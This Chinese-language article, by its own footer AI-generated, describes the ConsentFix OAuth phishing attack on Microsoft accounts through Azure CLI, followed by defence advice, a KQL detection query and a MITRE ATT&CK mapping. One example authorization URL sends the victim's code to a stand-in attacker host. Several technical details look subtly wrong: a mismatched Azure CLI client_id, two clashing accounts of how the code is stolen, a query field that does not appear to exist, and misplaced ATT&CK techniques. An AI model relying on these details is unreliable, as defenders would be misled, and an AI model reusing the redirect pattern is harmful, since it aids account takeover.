Home/區塊鏈 / 微軟帳戶告急!ConsentFix攻擊揭露:免密碼、繞過 MFA,Azure CLI成駭客新寵

ConsentFix 攻擊概述

2025 年底,Push Security 發現一種全新變種的 ClickFix 攻擊,命名為 ConsentFix。此攻擊利用 Azure CLI 的 OAuth 授權流程,誘使用戶完成授權,然後竊取授權碼,最終以此交換 Azure CLI 存取權杖,進而直接取得 Microsoft 帳戶的完全控制權。攻擊者不需要使用者的密碼或 MFA 令牌,僅透過使用者在瀏覽器中執行一段看似正常的 OAuth 流程,即可取得帳戶的所有權限。(Push Security, 2025)

技術流程

ConsentFix 的攻擊流程大致可拆解為三個階段:社交工程誘導授權碼竊取權杖交換與帳戶接管

社交工程誘導

攻擊者首先在網路上發布一個被偽裝成企業網站的假頁面。被害者在 Google 搜尋中看到此假網站,點擊進入後頁面會顯示一個偽造的 Cloudflare Turnstile CAPTCHA,要求輸入企業內部的正式電子郵件地址。(SCWorld, 2025)

  • 步驟 1:假網站驗證電子郵件屬性,確保目標真實存在。
  • 步驟 2:顯示後續指示,要求使用者登入 Microsoft 帳戶並將產生的 URL 複製貼到攻擊者提供的「偽造」登入頁面。

授權碼竊取

使用者按指示完成 Azure CLI 的 OAuth 流程,最終在瀏覽器中跳轉至 Azure 登入頁面,輸入 Microsoft 帳戶資訊並授權 Azure CLI 取得存取權杖。此時,授權碼會被回傳至攻擊者所控制的重定向 URI。攻擊者即刻捕獲此授權碼。(BleepingComputer, 2025)

以下示範 Azure CLI 授權流程的典型 URL:

📂 收合(點我收起)

https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=00000003-0000-0000-0000-000000000000
&response_type=code
&redirect_uri=https://malicious.example.com/callback
&response_mode=query
&scope=openid%20offline_access%20https://graph.microsoft.com/.default
&state=1234567890abcdef

權杖交換與帳戶接管

攻擊者將竊取到的授權碼送至 Azure 授權伺服器,換取 access_tokenrefresh_tokenid_token。這些 token 允許攻擊者使用 Azure CLI 以被害者身分執行所有授權範圍內的操作,包括讀寫雲端資料、建立管理員帳戶、甚至在 Microsoft 365 上發送電子郵件。(BleepingComputer, 2025)

因為攻擊者使用的是合法的 Azure CLI 連線,傳統 MFA 機制並不會被觸發,攻擊成功後即時取得帳戶全面控制。

攻擊者如何利用 Azure CLI OAuth

Azure CLI 本身設計為在本地機器上執行 Azure 命令,透過 OAuth 2.0 授權碼授予(Authorization Code Grant)與 client_secretdevice code 方式取得 token。ConsentFix 之所以能成功,主要在於以下兩點:

  • 可自行指定重定向 URI:攻擊者在 Azure App 註冊時使用自訂的重定向 URI,確保授權碼回傳至自己的伺服器。
  • token 交換不要求 MFA:OAuth 2.0 交換流程本身不會觸發 MFA,除非應用程式已在 Azure AD 內設定「MFA 需求」或使用「Conditional Access」限制。

攻擊者可藉由 Azure CLI 執行 az account get-access-token 等指令,直接取得被害者的存取權杖,並可在短時間內執行大量 API 呼叫,造成帳戶被盜用、資訊外洩或內部資源被破壞。

防禦措施

防禦 ConsentFix 需要多層次的策略,涵蓋使用者教育、Azure AD 內部設定、監控偵測與事後調查。

使用者教育與社交工程防範

  • 告知員工不應在未經驗證的網站上輸入 Microsoft 帳戶資訊。
  • 鼓勵使用者在任何授權流程前先檢查網址與 SSL 證書。
  • 實施「安全意識訓練」並定期進行模擬 phishing 測試。

Azure AD 內部設定

  • 啟用 Conditional Access,強制所有 Azure CLI 存取權杖須經過 MFA 或限定可信端點。
  • 在 Azure AD 應用程式註冊中,限制 redirect_uris 只允許公司內部可信域。
  • 使用 App Registration – Permissions 設定最小權限原則,只授權必要的範圍,避免「.default」全域權限。
  • 定期檢查 Azure AD Sign‑Ins 日誌,找出不正常的授權碼交換行為。

監控偵測與警報

Elastic Security 的研究顯示,利用 logAnalyticsAzure Monitor 可偵測到不正常的 OAuth 授權碼交換。以下是簡易 KQL 查詢範例:

📂 收合(點我收起)

SigninLogs
| where ProviderDisplayName == "Azure Active Directory"
| where ResultType == "0" // 成功登入
| where AuthorizationCode != ""
| summarize Count = count() by UserPrincipalName, ClientAppUsed, IPAddress, Location
| where Count > 5 // 同一 IP 在短時間內多次授權

若偵測到此類異常行為,即可發送警報至 SOC 或安全團隊,並啟動帳戶鎖定流程。

事後調查與恢復

  • 利用 Azure AD PowerShell 取得有關 token 的 client_idgrant_typescope 資訊。
  • 確認是否有未經授權的應用程式註冊,並即時撤銷。
  • 檢查 Microsoft 365 的 audit logs,找出任何非授權的資料存取與修改。

MITRE ATT&CK 對應

  • T1078 – Valid Accounts (Initial Access)
  • T1110 – Brute Force (Credential Access)
  • T1059 – Command and Scripting Interpreter (Execution)
  • T1134 – Access Token Manipulation (Privilege Escalation)
  • T1189 – Drive-by Compromise (Execution)
  • T1071 – Standard Application Layer Protocol (Command and Control)

結論

ConsentFix 攻擊以 Azure CLI OAuth 為突破口,利用合法授權流程的設計缺陷,讓攻擊者在不暴露密碼或 MFA 的情況下取得 Microsoft 帳戶的完全控制。對於企業而言,關鍵在於:

  • 建立嚴格的 Conditional Access 規則,將 Azure CLI 授權限制在可信端點。
  • 實行最小權限原則,避免在應用程式註冊時使用「.default」範圍。
  • 加強使用者教育,防止社交工程誘導。
  • 部署實時偵測與警報機制,確保能即時發現不正常的 OAuth 授權碼交換。

只要結合技術配置、使用者意識與即時監控,企業即可有效降低 ConsentFix 以及類似 OAuth 釣魚攻擊的風險。

參考資料與原文來源


🧠本文由 DreamJ AI 技術新聞生成系統 自動撰寫並進行語意優化,僅供技術研究與教學使用。
請以原廠公告、CVE 官方資料與安全建議為最終依據。

微軟帳戶告急!ConsentFix攻擊揭露:免密碼、繞過 MFA,Azure CLI成駭客新寵

🧠 本文章與所附圖片部分內容為 AI 生成或 AI 輔助產製。文中提及之商標、品牌名稱、產品圖片及相關標識, 其著作權與商標權均屬原權利人所有,本網站僅作為資訊呈現與示意使用

最新文章

推薦文章

留言

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *

分析完成 ✔